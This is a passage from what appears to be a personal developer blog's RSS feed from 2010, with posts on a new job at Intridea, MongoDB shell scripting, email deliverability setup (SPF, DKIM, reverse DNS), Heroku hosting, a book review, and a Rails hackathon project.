Cafe</a>, my
supportive family, and most of all Wendy - Thank you.</p>
<p>Flash forward to last February, Wendy got a scholarship and was doing
chemical engineering research in Israel before she started grad
school.  I decided to visit her to make up for neglecting our
relationship.  Spending time away from the Silicon Valley and the
constant startup buzz cleared up a lot for me.  I realized my dreams
of making useful software and building a business weren't <a href="/articles/2010/03/01/reaction-to-37signals-getting-real">mutually
exclusive</a>
with all the wonderful things I loved in my life.  I don't have to
choose just one goal; I can have my cake and eat it too.  The ghost of
myself a year ago would've laughed that I'd grown soft.  But I'm not
making any compromises on my dreams.  I feel that I've actually
dispersed a lot of unnecessary pressure and am in a better place to
tackle my goals.</p>
<p>Clearing my head was like tipping over a line of dominos, and
everything started falling in place during that trip.  I decided to
put Outspokes on hold because I didn't understand the
freelance/consulting market I'm trying to help (more on this in
another post).  Wendy and I were having a great time traveling the
Middle East and making plans for when she returned to the states.  I
reconnected with a lot of old friends, made some new ones, and was
having a great time doing everything I enjoyed.</p>
<p>When I got home, I started to look at jobs near Pasadena, where
Wendy's starting grad school next September.  At first I was filled
with dread when I looked at the startup scene in southern California.
I couldn't find a business I felt passionate about.  The commute would
also sap any remaining soul in my body.  Meanwhile, my friends in SF
were offering to interview me, and tech companies I believed in were
recruiting.  I stuck to my guns and kept looking.</p>
<p>One day while I was reading my RSS feeds, I got the crazy idea to ask
some of the Ruby consultancies I respected for a job.  It was a spur
of the moment thing, and I thought it'd be kind of cool to talk to
these people whose posts I read everyday, even if they weren't in the
area or hiring.  I emailed
<a href="http://intridea.com/about/people/naffis" rel="nofollow">Dave</a> not knowing what to
say, other than to say hi and introduce myself.  Surprisingly, Dave
and <a href="http://intridea.com/about/people/chris" rel="nofollow">Chris</a> got back to me on
the phone.  I don't remember exactly what we talked about, but I do
remember that they didn't ask me any trick programming puzzles or BS
interview questions.  At the end of the call, they offered me a
part-time contracting position.</p>
<p>I was stoked to work with these guys.  It wasn't only because they had
a strong team who regularly contributes back to the open source
community and engages their audience.  I liked their enthusiasm for
technology and their professionalism towards their clients.  They made
fantastic looking and <strong>useful</strong> products.  They had a great sense of
humor even though I've only heard them on Skype or through chat.  My
mom had to ask me why I was chuckling to myself when I read
co-workers' updates through <a href="http://presently.com/" rel="nofollow">Presently</a> and on
<a href="http://campfirenow.com/" rel="nofollow">Campfire</a>.  When they offered me a full-time
position a week later, I said "I'll talk it over with people and sleep
on it", but really I was thinking "Score!"</p>
<p>And that's the long-winded version of where I am and how I got to be
<a href="http://intridea.com/about/people/jerry" rel="nofollow">an Intridean</a>.</p>
  ]]></description>
</item>

<item>
  <title>Getting Around in MongoDB</title>
  <link>https://jch.github.io/posts/2010-06-11-getting-around-in-mongodb.html
</link>
  <guid>https://jch.github.io/posts/2010-06-11-getting-around-in-mongodb.html
</guid>
  <pubDate>Fri, 11 Jun 2010 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p><a href="http://mongodb.com" rel="nofollow"><img src="/images/mongodb.png" style="max-width: 100%;"></a>
I started working with <a href="http://www.mongodb.org" rel="nofollow">MongoDB</a> a few days
ago.  To oversimplify, think of Mongo as a really big and fast hash
that gets saved to disk. It lets you query, retrieve, and manipulate
data in Javascript and <a href="http://en.wikipedia.org/wiki/JSON" rel="nofollow">JSON</a>.  I
had a ton of work to do, so I didn't get a chance to explore the
technology as much as I would've liked.  Today, after getting a solid
night's sleep, I got a chance to experiment more.  Read on to get some
quick tips about writing Mongo queries and generating reports from the
Mongo shell.</p>
<p>When I first started interacting with Mongo, I used the Ruby
<a href="http://mongoid.org/" rel="nofollow">Mongoid</a> adapter.  It gave me a familiar
ActiveRecord interface so I could accomplish things like:</p>
<pre><code>Beer.all(:conditions =&gt; { :style =&gt; "stout" })
</code></pre>
<p>But it also gave me a sneak peak at Mongo's 'criteria' API for querying</p>
<pre><code>Beer.criteria.where(:style =&gt; "stout")
</code></pre>
<p>It's worthwhile to note that criterias are lazily loaded, meaning
that the query isn't performed until you actually need to access the
data.</p>
<pre><code>Beer.criteria.where(:style =&gt; "stout")  # doesn't hit mongo
Beer.criteria.where(:style =&gt; "stout").first.drink!  # executes actual query
</code></pre>
<p>This was all fine and dandy, but just like learning SQL and
ActiveRecord, having an understanding of the underlying system gives
you a better idea of what you can do.  So I busted out the <a href="http://www.mongodb.org/display/DOCS/Overview+-+The+MongoDB+Interactive+Shell" rel="nofollow">mongo
shell</a>
and started running queries.  The
<a href="http://www.mongodb.org/display/DOCS/Tutorial#Tutorial" rel="nofollow">tutorial</a> was
a good starting point for familiarizing myself with how to connect to
mongo, executing some queries, and printing out results.  My favorite
feature was that the mongo shell doubled as a Javascript interpreter.
I was able to write JS to manipulate the query results:</p>
<pre><code>function map(arr, func) {
  var collection = [];
  if(arr &amp;&amp; arr.length) {
    for(var i = 0; i &lt; arr.length; i++) {
      collection.push(func(arr[i]));
    }
  }
  return collection;
}

db.beers.find().forEach(function(beer) {
  print(beer.name);
  print('--------------');
  map(beer.ingredients, function(ingredient) {
    print(beer.ingredient.quantity + ' - ' + beer.ingredient.name);
  });
});
</code></pre>
<p>I got pretty tired of copying and pasting this script every time I
edited it.  Thankfully, mongo shell lets you pass in script files to
execute:</p>
<pre><code>&gt; mongo --help
MongoDB shell version: 1.4.0
usage: mongo [options] [db address] [file names (ending in .js)
</code></pre>
<p>This little feature enabled me to write more complex scripts and tweak
to my heart's content.  Something was still missing though.  I love
Javascript as a language, but nowadays, I've grown so accustomed to
jQuery that I'll start typing jQuery assuming it's available even when
it's not.</p>
<pre><code>db.beers.find().forEach(function(beer) {
  // CURSES! JQuery isn't available :(
  $(beer.ingredients).each(function() {
    // ... do something
  });
})
</code></pre>
<p>My next genius idea: load jQuery as the first script:</p>
<pre><code>&gt; mongo beerdb jquery-1.4.2.min.js reporting.js
JS Error: ReferenceError: window is not defined jquery-1.4.2.min.js:153
failed to load: jquery-1.4.2.min.js
</code></pre>
<p>Noooooo! It makes a lot of sense that jQuery would assume a browser
environment, but I was hoping that it wouldn't require it for the nice
utility functions.</p>
<p>To get the job done, I wrote myself a small utility library:</p>
<pre><code>$ = {
  // &gt; $.map([1,2,3,4], function(x) { return x*x; }
  // [1,4,9,16]
  map: function(arr, func) {
    var collection = [];
    if(arr &amp;&amp; arr.length) {
      for(var i=0; i&lt;arr.length; i++) {
        collection.push(func(arr[i]));
      }
    }
    return collection;
  },

  // &gt; $.max([1,2,3,4])
  // 4
  // &gt; $.max([1,2,3,4], function(x) { return x*2; })
  // 8
  max: function(arr, func) {
    if(arr == undefined) { return arr; }
    var max = null;
    for(var i=0; i&lt;arr.length; i++) {
      var current = (func ? func(arr[i]) : arr[i]);
      max = (current &gt; max ? current : max);
    }
    return max;
  },
}
</code></pre>
<p>This didn't buy me the full power of JQuery, but at the same time, I
was pretty happy I was able to quickly whip together some JS and get
the reports I needed.</p>
<p>Does anyone know of a JS library that buys you a lot of core library
features and fixes, but doesn't assume a browser?  I looked at <a href="http://ejohn.org/blog/bringing-the-browser-to-the-server/" rel="nofollow">John
Resig's
Env.js</a>,
but even that assumes that you're running JS in
<a href="http://www.mozilla.org/rhino/" rel="nofollow">Rhino</a>.  What other Mongo tricks do
people find useful?</p>
<div class="markdown-heading"><h2 class="heading-element">Reference</h2><a id="user-content-reference" class="anchor" aria-label="Permalink: Reference" href="#reference"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Here's the order I recommend reading the Mongo documentation.  The
Advanced Queries link was especially useful.</p>
<ul>
<li><a href="http://www.mongodb.org/display/DOCS/Tutorial#Tutorial" rel="nofollow">Mongo Tutorial</a></li>
<li><a href="http://www.mongodb.org/display/DOCS/Overview+-+The+MongoDB+Interactive+Shell" rel="nofollow">Overview - The MongoDB Interactive Shell</a></li>
<li><a href="http://www.mongodb.org/display/DOCS/dbshell+Reference" rel="nofollow">dbshell Reference</a></li>
<li><a href="http://www.mongodb.org/display/DOCS/Advanced+Queries" rel="nofollow">Advanced Queries</a></li>
</ul>
<p><em>All databases are fictional. No beers were harmed in the making of this blog post.</em></p>
  ]]></description>
</item>

<item>
  <title>Email Delivery for Webapps</title>
  <link>https://jch.github.io/posts/2010-05-14-email-deliverability.html
</link>
  <guid>https://jch.github.io/posts/2010-05-14-email-deliverability.html
</guid>
  <pubDate>Fri, 14 May 2010 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Delivering email is easy.  Having that email actually get received is
freaking hard.  In this era rife with spammers, if you don't jump
through several hoops of verifying yourself, your messages will be
automatically marked as spam during transit, and never see the light
of an inbox.  I didn't realize how tricky this was when I first
started sending out email for <a href="http://outspokes.com" rel="nofollow">Outspokes</a>, but
when our account activation and notification emails were always being
delivered to the spam folder, I dug deeper and learned quite a lot.
Follow the jump to save your future emails.</p>
<div class="markdown-heading"><h2 class="heading-element">The Right Way</h2><a id="user-content-the-right-way" class="anchor" aria-label="Permalink: The Right Way" href="#the-right-way"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Before I share my personal experiences, I want to point out that the
fastest and most sensible way to guarantee good email deliverability
is to have someone else do it for you.  Rather than setting up your
own mail server and coming up with a solution that you have to
maintain yourself, there are smart dedicated teams working on this
problem on your behalf.  The cost of entry is so low that they're all
effectively free until the volume of you email you need is large
enough that you should generate enough revenue to cover the cost.
I'll cover a few hosted services like
<a href="http://sendgrid.com/" rel="nofollow">Sendgrid</a>, and
<a href="http://postmarkapp.com/" rel="nofollow">Postmark</a> in a separate blog post.</p>
<div class="markdown-heading"><h2 class="heading-element">Setting it Up Yourself</h2><a id="user-content-setting-it-up-yourself" class="anchor" aria-label="Permalink: Setting it Up Yourself" href="#setting-it-up-yourself"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Now that I've warned you of the easier path, here's the steps I took
to make sure our emails were actually delivered rather than canned
outright.</p>
<div class="markdown-heading"><h3 class="heading-element">Reverse DNS Points to your Hostname</h3><a id="user-content-reverse-dns-points-to-your-hostname" class="anchor" aria-label="Permalink: Reverse DNS Points to your Hostname" href="#reverse-dns-points-to-your-hostname"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>This is important when you're using a hosted environment.  Outspokes
uses <a href="http://www.rackspace.com/" rel="nofollow">Rackspace</a>, and the initial reverse
lookup of our IP address yielded a very spam-like looking domain:</p>
<pre><code>67-23-23-207.static.slicehost.net
</code></pre>
<p>From the control panel, I changed this value to a more sane-looking
'outspokes.com'.  To see what your current reverse dns entry is:</p>
<pre><code>dig -x 67.23.23.207    # your static IP address

# other useful commands
dig outspokes.com ANY  # show all DNS records for outspokes.com
dig @ns1.editdns.net outspokes.com  # ask editdns for outspokes records
</code></pre>
<div class="markdown-heading"><h3 class="heading-element">Setup DNS SPF Record</h3><a id="user-content-setup-dns-spf-record" class="anchor" aria-label="Permalink: Setup DNS SPF Record" href="#setup-dns-spf-record"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>SPF stands for <a href="http://en.wikipedia.org/wiki/Sender_Policy_Framework" rel="nofollow">Sender Policy
Framework</a>, and
is a DNS record that can be looked up to determine what servers are
allowed to send email for a given hostname.  For example, for
Outspokes, I only wanted the server with the static IP 67.23.23.207 to
be able to send email.  If a spam server tries to send email with a
'from address' of outspokes.com from a non-verified server, then that
email will be marked as spam and rightfully zapped from existence.</p>
<p>In your DNS, add a TXT record:</p>
<pre><code>v=spf1 a mx ~all
</code></pre>
<p>This allow servers listed in A and MX records to send email.  Some DNS
services don't support adding TXT records, so your mileage may vary
for getting this setup.</p>
<div class="markdown-heading"><h3 class="heading-element">Setup DKIM</h3><a id="user-content-setup-dkim" class="anchor" aria-label="Permalink: Setup DKIM" href="#setup-dkim"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>DKIM stands for <a href="http://en.wikipedia.org/wiki/DomainKeys" rel="nofollow">DomainKeys</a>,
and works similar in concept to SPF.  I followed a guide from the
<a href="https://help.ubuntu.com/community/Postfix/DKIM" rel="nofollow">Ubuntu forums</a> to get
it setup.</p>
<pre><code>aptitude install dkim-filter
generate rsa keypair, put in /etc/ssl/private/dkim/private.key
edit dns add TXT record with public key
edit /etc/dkim-filter.conf, /etc/default/dkim-filter
edit /etc/postfix/main.cf - add smtpd milter (mail filter)
/etc/init.d/dkim-filter start
/etc/init.d/postfix restart
</code></pre>
<div class="markdown-heading"><h3 class="heading-element">Debugging and Testing Your Configuration</h3><a id="user-content-debugging-and-testing-your-configuration" class="anchor" aria-label="Permalink: Debugging and Testing Your Configuration" href="#debugging-and-testing-your-configuration"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>If you've followed this guide blindly up until this point.  Chances
are good that you're emails are still getting spammed-out.  Luckily,
there are tools that help you diagnose whether all these new changes
are actually making a positive effect.</p>
<p>One great way to test is to pretend that you're a mail client sending
an email and telneting to the mail server directly.  I learned this
from a <a href="http://articles.slicehost.com/2008/8/6/postfix-using-telnet-to-test-postfix" rel="nofollow">Slicehost
tutorial</a>.</p>
<pre><code># I ran this directly from the mail server b/c of firewall rules
telnet localhost 25
HELO localhost
MAIL FROM: jerry@outspokes.com
RCPT TO: check-auth@verifier.port25.com
DATA
Subject: test
body text
.
QUIT
</code></pre>
<p>Now you can email anyone you'd like for testing, but it's much more
helpful to email <a href="mailto:check-auth@verifier.port25.com">check-auth@verifier.port25.com</a>, or
<a href="mailto:auth-results@verifier.port25.com">auth-results@verifier.port25.com</a>.  These two emails will check your
mail headers against your DNS records and give you a rating of how
likely your emails will be marked as spam.  The report will be sent to
the 'MAIL FROM' field.</p>
<div class="markdown-heading"><h3 class="heading-element">Additional Improvements</h3><a id="user-content-additional-improvements" class="anchor" aria-label="Permalink: Additional Improvements" href="#additional-improvements"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Now that you have a good baseline setup for your emails to be
delivered, it's time to take a breather and marvel at how your
messages actually make it past spam filters.  But spammers are
constantly improving their game, so having a baseline setup far from
guarantees that your emails will be safe forever.  Here are some
additional tips that may mark your message as suspicious.</p>
<p>Send multipart email instead of only HTML email: send an HTML version
that includes your pretty graphics, but also send a plain text version
that gets the same point across.</p>
<p>Shrink size of images in message - large image implies spam.</p>
<p>Use a real email address instead of <a href="mailto:noreply@yourdomain.com">noreply@yourdomain.com</a> - By real
address, I mean an address that can be delivered to.  This could be
<a href="mailto:admin@outspokes.com">admin@outspokes.com</a>, or <a href="mailto:support@outspokes.com">support@outspokes.com</a>.</p>
<div class="markdown-heading"><h3 class="heading-element">Resources</h3><a id="user-content-resources" class="anchor" aria-label="Permalink: Resources" href="#resources"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Quick listing of links that I read:</p>
<ul>
<li><a href="http://www.corvidworks.com/articles/mail-deliverability-tip" rel="nofollow">Reverse DNS</a></li>
<li><a href="http://www.kitterman.com/spf/validate.html" rel="nofollow">SPF</a></li>
<li><a href="http://dkimproxy.sourceforge.net/usage.html" rel="nofollow">DKIM Proxy usage</a></li>
<li><a href="http://serverfault.com/questions/52393/postfix-with-dkim-on-ubuntu" rel="nofollow">Postfix with DKIM on Ubuntu via serverfault.com</a></li>
<li><a href="http://www.pocketsmith.com/blog/2009/07/05/setting-up-dkim-and-domainkeys-using-dkimproxy-with-postfix-in-ubuntu-hardy/" rel="nofollow">DKIM and DomainKeys with DKIM Proxy on Ubuntu Hardy</a></li>
<li><a href="http://www.sendmail.org/dkim/testChecker" rel="nofollow">Testing DKIM</a></li>
</ul>
<div class="markdown-heading"><h3 class="heading-element">Conclusion</h3><a id="user-content-conclusion" class="anchor" aria-label="Permalink: Conclusion" href="#conclusion"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Like I said before, I strongly believe that the right thing to do for
email deliverability is to have someone dedicated handling it.  For
small teams with limited resources, this means going with an external
hosted SMTP service.  On the other hand, if you're curious about how
email works, setting up your own mail server and going through the
setup for ensuring the messages get delivered can teach you the
fundamentals of how email work and also a lot of practical tools to go
along with it.</p>
  ]]></description>
</item>

<item>
  <title>Beerpad Hackathon: Hosting with Heroku</title>
  <link>https://jch.github.io/posts/2010-03-03-beerpad-hackathon-hosting-with-heroku.html
</link>
  <guid>https://jch.github.io/posts/2010-03-03-beerpad-hackathon-hosting-with-heroku.html
</guid>
  <pubDate>Wed, 03 Mar 2010 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>When I started <a href="/articles/2010/02/27/hackathon-beerpad">planning out
Beerpad</a>, I wanted to focus on
fun beer ideas.  I'm perfectly capable of setting up an environment
for a Rails application to run in, but I didn't want to waste a
morning doing a bunch of chores and have nothing but a "Hello World"
page to show for it.  Once I had my designs, I wanted to prototype the
<em>juicy real features</em> right away.  Enter
<a href="http://www.heroku.com/" rel="nofollow">Heroku</a>.  Heroku is a service for hosting
Ruby webapps.  I've been interested in the service since I saw <a href="http://adamblog.heroku.com/" rel="nofollow">Adam
Wiggins</a> demo it at a <a href="http://www.meetup.com/silicon-valley-ruby/" rel="nofollow">SVC Ruby
Meetup</a>.  Heroku is a
one-stop service for starting a database-backed, <a href="http://rack.rubyforge.org/" rel="nofollow">Rack
compatible</a>, Ruby webapp.  They use git to
version control your code, <a href="http://code.macournoyer.com/thin/" rel="nofollow">Thin</a>
to serve your traffic, and <a href="http://www.postgresql.org/" rel="nofollow">Postgresql</a> to
store your data.  They also have <a href="http://addons.heroku.com/" rel="nofollow">add-ons</a>
that webapps may find useful.  I've been looking for an excuse to play
with the service, and <a href="http://beerpad.heroku.com/" rel="nofollow">Beerpad</a> fit the
bill perfectly.  Follow the jump for my experiences.</p>
<div class="markdown-heading"><h2 class="heading-element">Research</h2><a id="user-content-research" class="anchor" aria-label="Permalink: Research" href="#research"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Before I got started, I read through their <a href="http://docs.heroku.com" rel="nofollow">well-written
documentation</a>.  It's good to get a high-level
architectural overview of Heroku's infrastructure to appreciate how
much plumbing the service abstracts.  If you're familiar with
deploying a Rails app on a Linux system and use git as your VCS, the
learning curve isn't steep.  That said, because Heroku manages your
entire software stack, there'll more than one layer that you'll need
to reference when you're first starting out.</p>
<div class="markdown-heading"><h2 class="heading-element">Getting Started</h2><a id="user-content-getting-started" class="anchor" aria-label="Permalink: Getting Started" href="#getting-started"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The first step was to generate my blank Rails project.  I chose to use
postgresql locally to mirror the production environment closer, and
also because I had <a href="http://www.whatcodecraves.com/posts/2008/02/05/setup_rails_with_postgresql/" rel="nofollow">it setup for previous
projects</a>.
Once I verified my application ran locally, I added Heroku as a git
remote source and pushed.  The really cool part here is that Heroku
uses git's post receive hook to <a href="http://github.com/carlhuda/bundler">package your dependencies with Gem
bundler</a> and deploy it on their
infrastructure.</p>
<div class="markdown-heading"><h2 class="heading-element">How's it drive?</h2><a id="user-content-hows-it-drive" class="anchor" aria-label="Permalink: How's it drive?" href="#hows-it-drive"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>As someone who has deployed several different Rails apps with
<a href="http://www.capify.org/" rel="nofollow">capistrano</a> and different requirements, my
jaw dropped when I saw in my terminal:</p>
<pre><code>-----&gt; Heroku receiving push
-----&gt; Gemfile detected, running Bundler
       All dependecies are satisfied
       Locking environment
-----&gt; Rails app detected
-----&gt; Installing Exceptional plugin from
-----&gt; git://github.com/contrast/exceptional.git...done.
-----&gt; Installing quick_sendgrid plugin from
-----&gt; git://github.com/pedro/quick_sendgrid.git...done.
-----&gt; Installing New Relic plugin...done.
       Compiled slug size is 7.6MB
-----&gt; Launching.......... done
       http://beerpad.heroku.com deployed to Heroku
</code></pre>
<p>With a simple "git push heroku", Heroku resolved my gem dependencies,
installed <a href="http://addons.heroku.com/" rel="nofollow">add-ons</a> to handle exception
reporting, emails, and performance monitoring, and restarted the app
servers.</p>
<p>Sure, I've accomplished all of these things before with my other apps,
but each of those tasks had to be thought out separately, written, and
<strong>maintained</strong>.  I love the git workflow abstraction.  You design, you
test, you code, you push, and voila!  Your app's online.  Rinse and
repeat, and you have an amazing prototyping tool.  I don't miss
configuring capistrano, databases, and postfix.  I don't miss having
separate credentials for github, amazon web services, monitoring, and
servers.</p>
<div class="markdown-heading"><h2 class="heading-element">Rattles and Squeaks</h2><a id="user-content-rattles-and-squeaks" class="anchor" aria-label="Permalink: Rattles and Squeaks" href="#rattles-and-squeaks"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>As much as I love the service up to this point, not everything was
smooth sailing.  At one point, when I pushed the code, Beerpad would
barf up a completely cryptic backtrace.  Trying to access the app via
the online dashboard would cause the dashboard to barf with a 500
server error.  Emailing back and forth with support indicated that it
was a known bug they're working on, and the fix was to delete and
re-add my project.</p>
<p>Now I didn't mind the outage because Beerpad is a toy application with
zero traffic, but if my bread and butter app mysteriously died and the
fix after 24 hours was to delete and re-add, heads would've rolled.</p>
<p>Another annoyance is only 100 lines of logs are kept.  Down the line,
I can imagine an add-on to address this, but in the meantime, <a href="http://www.ioncannon.net/programming/842/heroku-tips-for-the-cheap/#heroku-logs" rel="nofollow">people
sent their log data to external
services</a>.
This works, but definitely isn't in the spirit of removing plumbing
responsibilities from the user.</p>
<div class="markdown-heading"><h2 class="heading-element">Would I pay for it?</h2><a id="user-content-would-i-pay-for-it" class="anchor" aria-label="Permalink: Would I pay for it?" href="#would-i-pay-for-it"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Definitely.  Without a doubt, I see Heroku's value.  It consolidates
several services into one, adds a functional dashboard, and has room
for extensibility.  It saves you a ton of time on plumbing unrelated
to your webapp.  If you're starting a new Ruby webapp, whether
personal or commercial, you'd be nuts to duplicate the work the Heroku
guys have done.  On top of that, because you won't have a dedicated
systems team (read: $$$), you'll end up doing a much worse job.</p>
<p>If you have an existing app and a well defined deployment process, the
story changes.  Replacing one good process with another is a lot of
work and might not be worth it.  But that decision needs to be weighed
on a case by case basis.  For new projects, Heroku is freaking
awesome.</p>
  ]]></description>
</item>

<item>
  <title>Reaction to 37Signal's Getting Real</title>
  <link>https://jch.github.io/posts/2010-03-01-reaction-to-37signals-getting-real.html
</link>
  <guid>https://jch.github.io/posts/2010-03-01-reaction-to-37signals-getting-real.html
</guid>
  <pubDate>Mon, 01 Mar 2010 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>The gray and wet weather outside put me in an gloomy mood, so I didn't want to write any 'unhappy' code and regret it later.  Instead, I headed to Cup of Joe on the corner of Dizengoff and Gordon to read 37Signal's book 'Getting Real' while enjoying a creamy cappuccino.  Follow the jump for a short book review.</p>
<p>First of all, <a href="http://gettingreal.37signals.com/" rel="nofollow">the book</a> is <a href="http://gettingreal.37signals.com/toc.php" rel="nofollow">free online</a> and not a long read.  The book is about 37Signal's preferred way of creating web applications and covers all areas of their business from a high level.  The book is broken down into a collection of 91 essays, most of which are a single page.  Each essay ends with one or more quotes from external sources supporting the idea of the essay.</p>
<p>None of the topics shocked me.  This isn't surprising since I'm already brainwashed by the joys of Ruby, and most of my work experience has been with competent and smart small teams.  I found myself nodding along with the uselessness of meetings, and their big emphasis on communication is during the development process.</p>
<p>I liked how each essay took a stance on the topic and gave examples from the team's actual experiences.  While not everyone agrees with 37Signal's approach to doing things, I think their strong opinions reflect the company's discipline in defining a workflow that works well for them.  For example, <a href="http://gettingreal.37signals.com/ch03_The_Three_Musketeers.php" rel="nofollow">The Three Musketeers</a> essay argues that the perfect team size is 3 people;  They didn't rehash a vague cliche that smaller teams are more effective;  They didn't even give a <em>range</em> like "teams less than 10".  No, the team size is specifically and explicitly 3.  There are supporting arguments, and if you disagree with 37Signals, they're happy to reiterate that you don't work with them and it's simply their own opinion and experiences.</p>
<p>There were some ideas I picked up that I will experiment with my projects.  I found their "promotion" section to be helpful because it details a lot of the personal and non-technical work of launching a webapp.  It reminds me of customer discovery and customer development process that <a href="http://steveblank.com/" rel="nofollow">Steve Blank</a> talks about in <a href="http://www.amazon.com/Four-Steps-Epiphany-Steven-Blank/dp/0976470705" rel="nofollow">The Four Steps to Epiphany</a>.  The idea that software should not be developed without iterating with real customer feedback is repeated by both books.  The idea that less code should be written is well justified by <a href="http://gettingreal.37signals.com/ch05_Hidden_Costs.php" rel="nofollow">showing the hidden costs of adding new features</a>.  I also believe it's the most important point because it saves small teams their most valuable and most limited resource: time.  Without scoping projects to a smart number of features, even the brightest and most agile of teams would have their brain bandwidth saturated.</p>
<p>After applying a few of their concepts, I'll probably revisit the essays and see how effective they were.  If the suggestions turns out to be as useful as some of David Allen's <a href="http://en.wikipedia.org/wiki/Getting_Things_Done" rel="nofollow">Getting Things Done</a> ideas, then it'll make this an afternoon well spent.</p>
  ]]></description>
</item>

<item>
  <title>Hackathon creation: Beerpad</title>
  <link>https://jch.github.io/posts/2010-02-27-hackathon-beerpad.html
</link>
  <guid>https://jch.github.io/posts/2010-02-27-hackathon-beerpad.html
</guid>
  <pubDate>Sat, 27 Feb 2010 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p><a target="_blank" rel="noopener noreferrer" href="/images/beerpad_logo.png"><img src="/images/beerpad_logo.png" alt="beerpad logo: cup of beer" style="max-width: 100%;"></a> To spice things up from
<a href="http://outspokes.com" rel="nofollow">Outspokes</a> and consulting, Arthur, Jeff and I
held our first informal hackathon at <a href="http://www.yelp.com/biz/mo-joe-cafe-berkeley" rel="nofollow">Mo Joe
Cafe</a> on a sunny
Saturday morning. The three of us had no real goal other than to get
our geek on in good company. I had a great time brainstorming and
creating my deliciously refreshing beer review site named
<a href="http://beerpad.heroku.com" rel="nofollow">Beerpad</a>. Follow the jump for details on the project.</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/beerpad_screenshot.png"><img src="/images/beerpad_screenshot.png" alt="screenshot of beerpad
page" style="max-width: 100%;"></a> My idea for Beerpad was straightforward
enough; I wanted an app for writing beer reviews for my own reference
and for sharing and exploring new beers with friends. Up until two or
three months ago, I hadn't kept track of which beers I've tried. When
I started taking notes, they outgrew index cards and my google doc
pretty quickly. Other rating sites like
<a href="http://beeradvocate.com/" rel="nofollow">BeerAdvocate</a> and
<a href="http://www.ratebeer.com/" rel="nofollow">RateBeer</a> have great information but have
become noisy and cluttered over time. I thought I could do better than
what the competition offered. The project also gives me a perfect
excuse to try out new development techniques I've been reading about.</p>
<p>This being a hackathon, I scoped my design to the most interesting features in
order to avoid slogging through uninteresting boring tasks I already knew how
to implement. User registration? Nah. Linux setup? Recently did a bunch of that
for Outspokes. Email deliverability? Later. The list of things I did <strong>not</strong>
feel like working kept growing and growing. I was starting to worry that I'd
have no project to work on, but the list finally whittled down to the core
features:</p>
<ul>
<li>write beer reviews</li>
<li>add photos</li>
<li>search for beers</li>
</ul>
<p>There are many fun ideas that friends have suggested like beer quests/feats,
social networking, and mobile tools. I wanted to make this a realistic
hackathon and complete something substantial and useful, so I'm keeping these
fantastic ideas out of the first release for the sake of time. Many thanks to
Dennis, Graham, both Wendys, Lilly, Andrew, and Sam for helping me seed
initial beer names. I owe y'all a brewsky the next time I concoct a batch.</p>
<div class="markdown-heading"><h2 class="heading-element">Summary of topics</h2><a id="user-content-summary-of-topics" class="anchor" aria-label="Permalink: Summary of topics" href="#summary-of-topics"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>These links will fill out as I write about them</p>
<ul>
<li>Hosting with Heroku</li>
<li>Authentication with Authlogic</li>
<li>Don't acts as no stinking state machine</li>
<li>Sexy uploaders with SWFUpload, Paperclip, and S3</li>
<li>Why acceptance testing? A lazy programmer's story of frustration with Cucumber and Watir</li>
<li>Design for optimization: When it's not premature optimization</li>
</ul>
<p>I had a lot of fun researching new techniques for writing this application.
For hosting, I tried out Heroku and fell in love with their git workflow. For
authentication, I took a step away from the well known
<a href="">restful_authentication</a> plugin to look at <a href="">clearance</a> and <a href="">authlogic</a>.
I found a great API with Authlogic and preferred it over its alternatives. I
decided to allow drafts on beer reviews, so I reached for <a href="">AASM
(acts_as_state_machine)</a>, but I also looked at some alternatives. Unlike the
happy endings of Heroku and authlogic, my adventure with state machines was a
complete pain. For photo uploads, I wanted a sexy multifile uploader like
flickr or gmail. This led me down a confusing maze of flash uploaders, flash
bugs, and hard to configure Rails plugins and libraries. Concurrent with all
this research and development. I looked for better ways to do integration and
acceptance testing and also to design with performance in mind.</p>
<p>Whew. That was a lot to summarize and blurt out all at once. I think I'm going
to find myself a cold refreshing beer to try. <a href="http://beerpad.heroku.com/" rel="nofollow">You should join
me</a>. -Jerry</p>
  ]]></description>
</item>

<item>
  <title>Page Caching Gotcha on Heroku</title>
  <link>https://jch.github.io/posts/2010-02-24-page-caching-gotcha-on-heroku.html
</link>
  <guid>https://jch.github.io/posts/2010-02-24-page-caching-gotcha-on-heroku.html
</guid>
  <pubDate>Wed, 24 Feb 2010 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>Andrew noticed that his beer reviews weren't showing up on
<a href="http://beerpad.heroku.com/" rel="nofollow">beerpad</a> after he published them. His reviews
were saved in the database and showed up on redeploy. I smelled a caching bug.
Digging a little deeper, I found out that caches_page and expire_page are
<a href="http://github.com/ricardochimal/rails/commit/ecd52a0f6b841d8a84f95fddff1ae4c774e4440e">overridden</a>
on Heroku to set http caching headers rather than write a file to the local
filesystem. While I was fixing this bug, I picked up on a lot of useful
details about Rails action caching and configuration. Details and my fix after
the jump.</p>
<p>With Heroku's <a href="http://docs.heroku.com/constraints#read-only-filesystem" rel="nofollow">read-only
filesystem</a> and <a href="http://heroku.com/how/architecture" rel="nofollow">dyno
architecture</a>, it doesn't make sense to
write rendered pages to file. However, in order to be compatible with existing
apps, Heroku uses the <a href="http://github.com/pedro/caches_page_via_http">caches_page_via_http
plugin</a> to cache entire
responses in the <a href="http://docs.heroku.com/http-caching" rel="nofollow">Varnish layer</a> for a
